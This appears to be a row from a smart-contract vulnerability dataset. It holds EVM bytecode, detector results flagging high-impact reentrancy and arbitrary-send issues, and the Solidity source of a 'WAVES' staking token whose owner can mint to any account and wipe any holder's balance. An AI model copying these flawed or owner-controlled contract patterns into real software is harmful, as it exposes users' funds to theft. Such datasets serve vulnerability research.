602001602082028036833780820191505090505b5090503081600081518110611e37577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ed957600080fd5b505afa158015611eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1191906128b7565b81600181518110611f4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a5565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612016959493929190613005565b600060405180830381600087803b15801561203057600080fd5b505af1158015612044573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207a57600090506120dc565b6000828461208891906131a7565b90508284826120979190613176565b146120d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ce90612f2a565b60405180910390fd5b809150505b92915050565b600061212483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612184565b905092915050565b8061213a576121396121e7565b5b612145848484612218565b80612153576121526123e3565b5b50505050565b60008060006121666123f5565b9150915061217d81836120e290919063ffffffff16565b9250505090565b600080831182906121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c29190612e48565b60405180910390fd5b50600083856121da9190613176565b9050809150509392505050565b60006008541480156121fb57506000600954145b1561220557612216565b600060088190555060006009819055505b565b60008060008060008061222a87612454565b95509550955095509550955061228886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236981612564565b6123738483612621565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d09190612fea565b60405180910390a3505050505050505050565b60006008819055506007600981905550565b600080600060065490506000670de0b6b3a76400009050612429670de0b6b3a76400006006546120e290919063ffffffff16565b82101561244757600654670de0b6b3a7640000935093505050612450565b81819350935050505b9091565b60008060008060008060008060006124718a60085460095461265b565b9250925092506000612481612159565b905060008060006124948e8787876126f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2f565b905092915050565b60008082846125159190613120565b90508381101561255a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255190612eea565b60405180910390fd5b8091505092915050565b600061256e612159565b90506000612585828461206790919063ffffffff16565b90506125d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612636826006546124bc90919063ffffffff16565b6006819055506126518160075461250690919063ffffffff16565b6007819055505050565b6000806000806126876064612679888a61206790919063ffffffff16565b6120e290919063ffffffff16565b905060006126b160646126a3888b61206790919063ffffffff16565b6120e290919063ffffffff16565b905060006126da826126cc858c6124bc90919063ffffffff16565b6124bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061270a858961206790919063ffffffff16565b90506000612721868961206790919063ffffffff16565b90506000612738878961206790919063ffffffff16565b905060006127618261275385876124bc90919063ffffffff16565b6124bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278d6127888461309f565b61307a565b905080838252602082019050828560208602820111156127ac57600080fd5b60005b858110156127dc57816127c288826127e6565b8452602084019350602083019250506001810190506127af565b5050509392505050565b6000813590506127f5816136dd565b92915050565b60008151905061280a816136dd565b92915050565b600082601f83011261282157600080fd5b813561283184826020860161277a565b91505092915050565b600081359050612849816136f4565b92915050565b60008151905061285e816136f4565b92915050565b6000813590506128738161370b565b92915050565b6000815190506128888161370b565b92915050565b6000602082840312156128a057600080fd5b60006128ae848285016127e6565b91505092915050565b6000602082840312156128c957600080fd5b60006128d7848285016127fb565b91505092915050565b600080604083850312156128f357600080fd5b6000612901858286016127e6565b9250506020612912858286016127e6565b9150509250929050565b60008060006060848603121561293157600080fd5b600061293f868287016127e6565b9350506020612950868287016127e6565b925050604061296186828701612864565b9150509250925092565b6000806040838503121561297e57600080fd5b600061298c858286016127e6565b925050602061299d85828601612864565b9150509250929050565b6000602082840312156129b957600080fd5b600082013567ffffffffffffffff8111156129d357600080fd5b6129df84828501612810565b91505092915050565b6000602082840312156129fa57600080fd5b6000612a088482850161283a565b91505092915050565b600060208284031215612a2357600080fd5b6000612a318482850161284f565b91505092915050565b600060208284031215612a4c57600080fd5b6000612a5a84828501612864565b91505092915050565b600080600060608486031215612a7857600080fd5b6000612a8686828701612879565b9350506020612a9786828701612879565b9250506040612aa886828701612879565b9150509250925092565b6000612abe8383612aca565b60208301905092915050565b612ad381613235565b82525050565b612ae281613235565b82525050565b6000612af3826130db565b612afd81856130fe565b9350612b08836130cb565b8060005b83811015612b39578151612b208882612ab2565b9750612b2b836130f1565b925050600181019050612b0c565b5085935050505092915050565b612b4f81613247565b82525050565b612b5e8161328a565b82525050565b6000612b6f826130e6565b612b79818561310f565b9350612b8981856020860161329c565b612b92816133d6565b840191505092915050565b6000612baa60238361310f565b9150612bb5826133e7565b604082019050919050565b6000612bcd601a8361310f565b9150612bd882613436565b602082019050919050565b6000612bf0602a8361310f565b9150612bfb8261345f565b604082019050919050565b6000612c1360228361310f565b9150612c1e826134ae565b604082019050919050565b6000612c36601b8361310f565b9150612c41826134fd565b602082019050919050565b6000612c59601d8361310f565b9150612c6482613526565b602082019050919050565b6000612c7c60218361310f565b9150612c878261354f565b604082019050919050565b6000612c9f60208361310f565b9150612caa8261359e565b602082019050919050565b6000612cc260298361310f565b9150612ccd826135c7565b604082019050919050565b6000612ce560258361310f565b9150612cf082613616565b604082019050919050565b6000612d0860248361310f565b9150612d1382613665565b604082019050919050565b6000612d2b60118361310f565b9150612d36826136b4565b602082019050919050565b612d4a81613273565b82525050565b612d598161327d565b82525050565b6000602082019050612d746000830184612ad9565b92915050565b6000604082019050612d8f6000830185612ad9565b612d9c6020830184612ad9565b9392505050565b6000604082019050612db86000830185612ad9565b612dc56020830184612d41565b9392505050565b600060c082019050612de16000830189612ad9565b612dee6020830188612d41565b612dfb6040830187612b55565b612e086060830186612b55565b612e156080830185612ad9565b612e2260a0830184612d41565b979650505050505050565b6000602082019050612e426000830184612b46565b92915050565b60006020820190508181036000830152612e628184612b64565b905092915050565b60006020820190508181036000830152612e8381612b9d565b9050919050565b60006020820190508181036000830152612ea381612bc0565b9050919050565b60006020820190508181036000830152612ec381612be3565b9050919050565b60006020820190508181036000830152612ee381612c06565b9050919050565b60006020820190508181036000830152612f0381612c29565b9050919050565b60006020820190508181036000830152612f2381612c4c565b9050919050565b60006020820190508181036000830152612f4381612c6f565b9050919050565b60006020820190508181036000830152612f6381612c92565b9050919050565b60006020820190508181036000830152612f8381612cb5565b9050919050565b60006020820190508181036000830152612fa381612cd8565b9050919050565b60006020820190508181036000830152612fc381612cfb565b9050919050565b60006020820190508181036000830152612fe381612d1e565b9050919050565b6000602082019050612fff6000830184612d41565b92915050565b600060a08201905061301a6000830188612d41565b6130276020830187612b55565b81810360408301526130398186612ae8565b90506130486060830185612ad9565b6130556080830184612d41565b9695505050505050565b60006020820190506130746000830184612d50565b92915050565b6000613084613095565b905061309082826132cf565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ba576130b96133a7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312b82613273565b915061313683613273565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316b5761316a613349565b5b828201905092915050565b600061318182613273565b915061318c83613273565b92508261319c5761319b613378565b5b828204905092915050565b60006131b282613273565b91506131bd83613273565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131f6576131f5613349565b5b828202905092915050565b600061320c82613273565b915061321783613273565b92508282101561322a57613229613349565b5b828203905092915050565b600061324082613253565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329582613273565b9050919050565b60005b838110156132ba57808201518184015260208101905061329f565b838111156132c9576000848401525b50505050565b6132d8826133d6565b810181811067ffffffffffffffff821117156132f7576132f66133a7565b5b80604052505050565b600061330b82613273565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333e5761333d613349565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136e681613235565b81146136f157600080fd5b50565b6136fd81613247565b811461370857600080fd5b50565b61371481613273565b811461371f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e60f7b4f5ae83d385484b8e428d3b7196c8c06cc429b3592accce97248b4deb564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,757
0x1cf4592ebffd730c7dc92c1bdffdfc3b9efcf29a
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.8; interface Staking { function deposit(address account, uint256 amount) external returns (bool); function withdraw(address account) external returns (bool); function stake(uint256 reward) external returns (bool); event Reward(uint256 id, uint256 amount); } interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address private _owner; address private _admin; constructor () public { _owner = msg.sender; _admin = msg.sender; } modifier onlyOwner() { require(_owner == msg.sender || _admin == msg.sender, "Ownable: caller is not the owner or admin"); _; } function transferOwnership(address newOwner) external virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _owner = newOwner; } } abstract contract Deprecateble is Ownable { bool internal deprecated; modifier onlyNotDeprecated() { require(!deprecated, "Deprecateble: contract is deprecated"); _; } function deprecate() external onlyOwner { deprecated = true; emit Deprecate(msg.sender); } event Deprecate(address indexed account); } abstract contract StandartToken is Staking, ERC20, Ownable, Deprecateble { uint256[] private _percents; uint256 private _liquidTotalSupply; uint256 private _liquidDeposit; uint256 constant private PERCENT_FACTOR = 10 ** 12; mapping(address => uint256) private _balances; mapping(address => uint256) private _deposits; mapping(address => uint256) private _rewardIndexForAccount; mapping(address => mapping(address => uint256)) private _allowances; constructor () public { _percents.push(PERCENT_FACTOR); } function deposit(address account, uint256 amount) external onlyOwner onlyNotDeprecated override virtual returns (bool) { require(amount > 0, "amount should be > 0"); require(account != address(0), "deposit to the zero address"); uint256 liquidDeposit = _liquidDeposit; require(liquidDeposit + amount >= liquidDeposit, "addition overflow for deposit"); _liquidDeposit = liquidDeposit + amount; uint256 oldDeposit = _deposits[account]; if (oldDeposit == 0) { _balances[account] = balanceOf(account); _rewardIndexForAccount[account] = _percents.length - 1; _deposits[account] = amount; } else { uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == _percents.length - 1) { require(oldDeposit + amount >= oldDeposit, "addition overflow for deposit"); _deposits[account] = oldDeposit + amount; } else { _balances[account] = balanceOf(account); _rewardIndexForAccount[account] = _percents.length - 1; _deposits[account] = amount; } } emit Transfer(address(0), account, amount); return true; } function stake(uint256 reward) external onlyOwner onlyNotDeprecated override virtual returns (bool) { require(reward > 0, "reward should be > 0"); uint256 liquidTotalSupply = _liquidTotalSupply; uint256 liquidDeposit = _liquidDeposit; if (liquidTotalSupply == 0) { _percents.push(PERCENT_FACTOR); } else { uint256 oldPercent = _percents[_percents.length - 1]; uint256 percent = reward * PERCENT_FACTOR / liquidTotalSupply; require(percent + PERCENT_FACTOR >= percent, "addition overflow for percent"); uint256 newPercent = percent + PERCENT_FACTOR; _percents.push(newPercent * oldPercent / PERCENT_FACTOR); require(liquidTotalSupply + reward >= liquidTotalSupply, "addition overflow for total supply + reward"); liquidTotalSupply = liquidTotalSupply + reward; } require(liquidTotalSupply + liquidDeposit >= liquidTotalSupply, "addition overflow for total supply"); _liquidTotalSupply = liquidTotalSupply + liquidDeposit; _liquidDeposit = 0; emit Reward(_percents.length, reward); return true; } function withdraw(address account) external onlyOwner onlyNotDeprecated override virtual returns (bool) { uint256 oldDeposit = _deposits[account]; uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == _percents.length - 1) { uint256 balance = _balances[account]; require(balance <= _liquidTotalSupply, "subtraction overflow for total supply"); _liquidTotalSupply = _liquidTotalSupply - balance; require(oldDeposit <= _liquidDeposit, "subtraction overflow for liquid deposit"); _liquidDeposit = _liquidDeposit - oldDeposit; require(balance + oldDeposit >= balance, "addition overflow for total balance + oldDeposit"); emit Transfer(account, address(0), balance + oldDeposit); } else { uint256 balance = balanceOf(account); uint256 liquidTotalSupply = _liquidTotalSupply; require(balance <= liquidTotalSupply, "subtraction overflow for total supply"); _liquidTotalSupply = liquidTotalSupply - balance; emit Transfer(account, address(0), balance); } _balances[account] = 0; _deposits[account] = 0; return true; } // ERC20 function totalSupply() external view override virtual returns (uint256) { uint256 liquidTotalSupply = _liquidTotalSupply; uint256 liquidDeposit = _liquidDeposit; require(liquidTotalSupply + liquidDeposit >= liquidTotalSupply, "addition overflow for total supply"); return liquidTotalSupply + liquidDeposit; } function balanceOf(address account) public view override virtual returns (uint256) { uint256 balance = _balances[account]; uint256 oldDeposit = _deposits[account]; if (balance == 0 && oldDeposit == 0) { return 0; } uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == _percents.length - 1) { require(balance + oldDeposit >= balance, "addition overflow for balance"); return balance + oldDeposit; } if (oldDeposit == 0) { uint256 profit = _percents[_percents.length - 1]; return profit * balance / _percents[rewardIndex]; } else { uint256 newBalance = balance * _percents[_percents.length - 1] / _percents[rewardIndex]; uint256 profit = oldDeposit * _percents[_percents.length - 1] / _percents[rewardIndex + 1]; require(profit + newBalance >= newBalance, "addition overflow for balance"); return profit + newBalance; } } function allowance(address owner, address spender) external view override virtual returns (uint256) { return _allowances[owner][spender]; } function _approve(address owner, address spender, uint256 amount) internal onlyNotDeprecated virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) external override virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external override virtual returns (bool) { uint256 temp = _allowances[msg.sender][spender]; require(temp + addedValue >= temp, "addition overflow"); _approve(msg.sender, spender, temp + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external override virtual returns (bool) { uint256 temp = _allowances[msg.sender][spender]; require(subtractedValue <= temp, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, temp - subtractedValue); return true; } function transfer(address recipient, uint256 amount) external override virtual returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override virtual returns (bool) { _transfer(sender, recipient, amount); uint256 temp = _allowances[sender][msg.sender]; require(amount <= temp, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, temp - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal onlyNotDeprecated virtual { require(amount > 0, "amount should be > 0"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 oldDeposit = _deposits[sender]; uint256 rewardIndex = _rewardIndexForAccount[sender]; uint256 depositDiff = 0; if (oldDeposit == 0 || rewardIndex != _percents.length - 1) { uint256 senderBalance = balanceOf(sender); require(amount <= senderBalance, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _deposits[sender] = 0; _rewardIndexForAccount[sender] = _percents.length - 1; } else { if (amount <= oldDeposit) { _deposits[sender] = oldDeposit - amount; depositDiff = amount; } else { uint256 senderBalance = _balances[sender]; require(amount - oldDeposit <= senderBalance, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - (amount - oldDeposit); _deposits[sender] = 0; depositDiff = oldDeposit; } } oldDeposit = _deposits[recipient]; rewardIndex = _rewardIndexForAccount[recipient]; if (oldDeposit == 0 || rewardIndex != _percents.length - 1) { uint256 recipientBalance = balanceOf(recipient); require((amount - depositDiff) + recipientBalance >= recipientBalance, "ERC20: addition overflow for recipient balance"); _balances[recipient] = recipientBalance + (amount - depositDiff); _rewardIndexForAccount[recipient] = _percents.length - 1; _deposits[recipient] = depositDiff; } else { uint256 recipientBalance = _balances[recipient]; _balances[recipient] = recipientBalance + (amount - depositDiff); _deposits[recipient] = oldDeposit + depositDiff; } emit Transfer(sender, recipient, amount); } } contract WAVES is StandartToken { function name() external pure returns (string memory) { return "WAVES"; } function symbol() external pure returns (string memory) { return "WAVES"; } function decimals() external pure returns (uint8) { return 18; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806351cff8d911610097578063a694fc3a11610066578063a694fc3a1461030a578063a9059cbb14610327578063dd62ed3e14610353578063f2fde38b1461038157610100565b806351cff8d91461029257806370a08231146102b857806395d89b4114610105578063a457c2d7146102de57610100565b806323b872dd116100d357806323b872dd146101e6578063313ce5671461021c578063395093511461023a57806347e7ef241461026657610100565b806306fdde0314610105578063095ea7b3146101825780630fcc0c28146101c257806318160ddd146101cc575b600080fd5b61010d6103a7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b0381351690602001356103c6565b604080519115158252519081900360200190f35b6101ca6103dc565b005b6101d461047a565b60408051918252519081900360200190f35b6101ae600480360360608110156101fc57600080fd5b506001600160a01b038135811691602081013590911690604001356104cb565b610224610553565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561025057600080fd5b506001600160a01b038135169060200135610558565b6101ae6004803603604081101561027c57600080fd5b506001600160a01b0381351690602001356105de565b6101ae600480360360208110156102a857600080fd5b50356001600160a01b0316610911565b6101d4600480360360208110156102ce57600080fd5b50356001600160a01b0316610bcc565b6101ae600480360360408110156102f457600080fd5b506001600160a01b038135169060200135610dd7565b6101ae6004803603602081101561032057600080fd5b5035610e47565b6101ae6004803603604081101561033d57600080fd5b506001600160a01b03813516906020013561111e565b6101d46004803603604081101561036957600080fd5b506001600160a01b038135811691602001351661112b565b6101ca6004803603602081101561039757600080fd5b50356001600160a01b0316611156565b604080518082019091526005815264574156455360d81b602082015290565b60006103d333848461121b565b50600192915050565b6000546001600160a01b03163314806103ff57506001546001600160a01b031633145b61043a5760405162461bcd60e51b81526004018080602001828103825260298152602001806118536029913960400191505060405180910390fd5b6001805460ff60a01b1916600160a01b17905560405133907fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e90600090a2565b600354600454600091908082018211156104c55760405162461bcd60e51b81526004018080602001828103825260228152602001806118c96022913960400191505060405180910390fd5b01905090565b60006104d8848484611350565b6001600160a01b03841660009081526008602090815260408083203384529091529020548083111561053b5760405162461bcd60e51b815260040180806020018281038252602881526020018061187c6028913960400191505060405180910390fd5b610548853385840361121b565b506001949350505050565b601290565b3360009081526008602090815260408083206001600160a01b03861684529091528120548281018111156105c7576040805162461bcd60e51b81526020600482015260116024820152706164646974696f6e206f766572666c6f7760781b604482015290519081900360640190fd5b6105d4338585840161121b565b5060019392505050565b600080546001600160a01b031633148061060257506001546001600160a01b031633145b61063d5760405162461bcd60e51b81526004018080602001828103825260298152602001806118536029913960400191505060405180910390fd5b600154600160a01b900460ff16156106865760405162461bcd60e51b81526004018080602001828103825260248152602001806119a06024913960400191505060405180910390fd5b600082116106d2576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b03831661072d576040805162461bcd60e51b815260206004820152601b60248201527f6465706f73697420746f20746865207a65726f20616464726573730000000000604482015290519081900360640190fd5b600454828101811115610787576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f72206465706f736974000000604482015290519081900360640190fd5b8083016004556001600160a01b038416600090815260066020526040902054806107f2576107b485610bcc565b6001600160a01b03861660009081526005602090815260408083209390935560025460078252838320600019909101905560069052208490556108d7565b6001600160a01b0385166000908152600760205260409020546002546000190181141561089257818583011015610870576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f72206465706f736974000000604482015290519081900360640190fd5b6001600160a01b038616600090815260066020526040902082860190556108d5565b61089b86610bcc565b6001600160a01b03871660009081526005602090815260408083209390935560025460078252838320600019909101905560069052208590555b505b6040805185815290516001600160a01b038716916000916000805160206119128339815191529181900360200190a3506001949350505050565b600080546001600160a01b031633148061093557506001546001600160a01b031633145b6109705760405162461bcd60e51b81526004018080602001828103825260298152602001806118536029913960400191505060405180910390fd5b600154600160a01b900460ff16156109b95760405162461bcd60e51b81526004018080602001828103825260248152602001806119a06024913960400191505060405180910390fd5b6001600160a01b03821660009081526006602090815260408083205460079092529091205460025460001901811415610b13576001600160a01b038416600090815260056020526040902054600354811115610a465760405162461bcd60e51b81526004018080602001828103825260258152602001806118a46025913960400191505060405180910390fd5b600380548290039055600454831115610a905760405162461bcd60e51b81526004018080602001828103825260278152602001806118eb6027913960400191505060405180910390fd5b8260045403600481905550808382011015610adc5760405162461bcd60e51b815260040180806020018281038252603081526020018061175c6030913960400191505060405180910390fd5b60408051828501815290516000916001600160a01b038816916000805160206119128339815191529181900360200190a350610b9b565b6000610b1e85610bcc565b60035490915080821115610b635760405162461bcd60e51b81526004018080602001828103825260258152602001806118a46025913960400191505060405180910390fd5b8181036003556040805183815290516000916001600160a01b038916916000805160206119128339815191529181900360200190a350505b5050506001600160a01b0381166000908152600560209081526040808320839055600690915281205560015b919050565b6001600160a01b038116600090815260056020908152604080832054600690925282205481158015610bfc575080155b15610c0c57600092505050610bc7565b6001600160a01b03841660009081526007602052604090205460025460001901811415610c9357828284011015610c8a576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722062616c616e6365000000604482015290519081900360640190fd5b50019050610bc7565b81610ce95760028054600091906000198101908110610cae57fe5b9060005260206000200154905060028281548110610cc857fe5b906000526020600020015484820281610cdd57fe5b04945050505050610bc7565b600060028281548110610cf857fe5b600091825260209091200154600280546000198101908110610d1657fe5b9060005260206000200154850281610d2a57fe5b049050600060028360010181548110610d3f57fe5b600091825260209091200154600280546000198101908110610d5d57fe5b9060005260206000200154850281610d7157fe5b049050818282011015610dcb576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722062616c616e6365000000604482015290519081900360640190fd5b019350610bc792505050565b3360009081526008602090815260408083206001600160a01b038616845290915281205480831115610e3a5760405162461bcd60e51b815260040180806020018281038252602581526020018061197b6025913960400191505060405180910390fd5b6105d4338585840361121b565b600080546001600160a01b0316331480610e6b57506001546001600160a01b031633145b610ea65760405162461bcd60e51b81526004018080602001828103825260298152602001806118536029913960400191505060405180910390fd5b600154600160a01b900460ff1615610eef5760405162461bcd60e51b81526004018080602001828103825260248152602001806119a06024913960400191505060405180910390fd5b60008211610f3b576040805162461bcd60e51b815260206004820152601460248201527307265776172642073686f756c64206265203e20360641b604482015290519081900360640190fd5b60035460045481610f86576002805460018101825560009190915264e8d4a510007f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace9091015561108b565b60028054600091906000198101908110610f9c57fe5b9060005260206000200154905060008364e8d4a51000870281610fbb57fe5b0490508064e8d4a510008201101561101a576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722070657263656e74000000604482015290519081900360640190fd5b64e8d4a51000818101906002908483028254600181018455600093845260209093209190049101558685018511156110835760405162461bcd60e51b815260040180806020018281038252602b815260200180611828602b913960400191505060405180910390fd5b505050908301905b8181830110156110cc5760405162461bcd60e51b81526004018080602001828103825260228152602001806118c96022913960400191505060405180910390fd5b8181016003556000600455600254604080519182526020820186905280517f45cad8c10023de80f4c0672ff6c283b671e11aa93c92b9380cdf060d2790da529281900390910190a15060019392505050565b60006103d3338484611350565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b031633148061117957506001546001600160a01b031633145b6111b45760405162461bcd60e51b81526004018080602001828103825260298152602001806118536029913960400191505060405180910390fd5b6001600160a01b0381166111f95760405162461bcd60e51b815260040180806020018281038252602681526020018061178c6026913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600154600160a01b900460ff16156112645760405162461bcd60e51b81526004018080602001828103825260248152602001806119a06024913960400191505060405180910390fd5b6001600160a01b0383166112a95760405162461bcd60e51b81526004018080602001828103825260248152602001806119576024913960400191505060405180910390fd5b6001600160a01b0382166112ee5760405162461bcd60e51b81526004018080602001828103825260228152602001806117b26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600154600160a01b900460ff16156113995760405162461bcd60e51b81526004018080602001828103825260248152602001806119a06024913960400191505060405180910390fd5b600081116113e5576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b03831661142a5760405162461bcd60e51b81526004018080602001828103825260258152602001806119326025913960400191505060405180910390fd5b6001600160a01b03821661146f5760405162461bcd60e51b81526004018080602001828103825260238152602001806117396023913960400191505060405180910390fd5b6001600160a01b038316600090815260066020908152604080832054600790925282205490918215806114a85750600254600019018214155b1561153d5760006114b887610bcc565b9050808511156114f95760405162461bcd60e51b81526004018080602001828103825260268152602001806117d46026913960400191505060405180910390fd5b6001600160a01b03871660009081526005602090815260408083209388900390935560068152828220829055600254600790915291902060001990910190556115f1565b82841161156857506001600160a01b03851660009081526006602052604090208383039055826115f1565b6001600160a01b0386166000908152600560205260409020548385038110156115c25760405162461bcd60e51b81526004018080602001828103825260268152602001806117d46026913960400191505060405180910390fd5b6001600160a01b0387166000908152600560209081526040808320878903909403909355600690529081205550815b6001600160a01b038516600090815260066020908152604080832054600790925290912054909350915082158061162e5750600254600019018214155b156116c757600061163e86610bcc565b905080818387030110156116835760405162461bcd60e51b815260040180806020018281038252602e8152602001806117fa602e913960400191505060405180910390fd5b6001600160a01b03861660009081526005602090815260408083208589039490940190935560025460078252838320600019909101905560069052208190556116f7565b6001600160a01b038516600090815260056020908152604080832080548589030190556006909152902083820190555b846001600160a01b0316866001600160a01b0316600080516020611912833981519152866040518082815260200191505060405180910390a350505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573736164646974696f6e206f766572666c6f7720666f7220746f74616c2062616c616e6365202b206f6c644465706f7369744f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d